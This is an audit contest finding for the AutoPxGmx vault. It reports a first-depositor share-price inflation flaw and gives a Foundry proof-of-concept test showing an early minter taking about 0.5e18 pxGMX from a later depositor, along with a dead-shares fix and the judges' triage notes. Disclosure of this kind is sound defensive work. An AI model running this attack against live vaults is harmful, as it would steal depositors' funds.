apxGMX price can be inflated by first depositor

[code423n4]

Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L397

Vulnerability details

An early minter can break the AutoPxGmx apxGMX price, resulting in future depositors losing GMX upon withdrawal.

Impact

Medium

Proof Of Concept

AutoPxGmx is a pxGMX auto-compounding vault, allowing users to deposit GMX and pxGMX to compound pxGMX rewards into more pxGMX.

Users can deposit GMX by calling depositGmx(). The function computes the amount of apxGMX to be minted, and converts the GMX into pxGMX

394: if (
395:             (shares = supply == 0
396:                 ? assets
397:                 : assets.mulDivDown(supply, totalAssets() - assets)) == 0
398:         ) revert ZeroShares();

The issue is that because of how the apxGMX amount is computed, an early minter can inflate the share price and steal pxGMX from future depositors:

• Alice calls autoPxGmx.depositGmx(1, Alice), depositing 1 unit of GMX. She receives 1 apxGMX.
• Alice transfers 1e18 - 1 pxGMX to the vault using the ERC20.transfer() method.
• Bob calls autoPxGmx.depositGmx(1.99999999e18, Bob).
• Because of Alice's transfer, pxGMX.balanceOf(autoPxGmx) = 1e18. So shares = 1 * 1.9999 e18 / 1e18 rounds to 1: Bob receives 1 apxGMX: the same amount as Alice.
• Alice calls autoPxGmx.redeem(1, Alice, Alice); to redeem her apxGMX: because she owns half of the apxGMX, she will receive ~1.5 * 1e18 pxGMX, effectively stealing approximately 0.5 * 1e18 pxGMX from Bob.

Add this test to AutoPxGmx.t.sol, recreating the steps described above:

function testBreakDepositGmx() external {
    address Alice = address(99);
    address Bob = address(100);
    uint256 amountAlice = 1e18 - 1;
    uint256 amountBob = 1.99999999e18;

    uint256 amount = 1e18;
    address receiver = address(this);
    uint256 depositFee = 10000;

    pirexGmx.setFee(PirexGmx.Fees.Deposit, depositFee);


    // @audit-Alice deposits 1 GMX in the autoPxGmx vault
    _mintApproveGmx(1, Alice, address(autoPxGmx), 1);
    vm.prank(Alice);
    autoPxGmx.depositGmx(1, Alice);

    assertTrue(1 == autoPxGmx.totalAssets());
    assertTrue(1 == autoPxGmx.totalSupply());
    // @audit-Alice received 1 share
    assertEq(1, autoPxGmx.balanceOf(Alice));

    // @audit-Alice deposits 1e18 - 1 pxGMX in the autoPxGmx vault
    _mintApproveGmx(amountAlice, Alice, address(pirexGmx), amountAlice);
    vm.prank(Alice);
    (,uint256 pxGMXAlice,) = pirexGmx.depositGmx(amountAlice, Alice);
    vm.prank(Alice);
    pxGmx.transfer(address(autoPxGmx), pxGMXAlice);

    // @audit-Bob deposits 1.999999e18 GMX in the autoPxGmx vault
    _mintApproveGmx(amountBob, Bob, address(autoPxGmx), amountBob);
    vm.prank(Bob);
    autoPxGmx.depositGmx(amountBob, Bob);
    
    // @audit-Bob only received 1 share
    assertEq(1, autoPxGmx.balanceOf(Bob));

    vm.prank(Alice);
    autoPxGmx.redeem(1, Alice, Alice);
    // @audit-Alice received 1.5e18 pxGmx, effectively stole ~0.5e18 pxGMX from Bob
    assertApproxEqAbs(pxGmx.balanceOf(Alice), 1.5e18, 1e17);

Tools Used

Manual Analysis, Foundry

Mitigation

Consider sending the first 1000 apxGMX to the address 0, a mitigation used in Uniswap V2.

[c4-judge]

Picodes marked the issue as duplicate of #407

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes changed the severity to 3 (High Risk)

[C4-Staff]

JeeberC4 marked the issue as duplicate of #275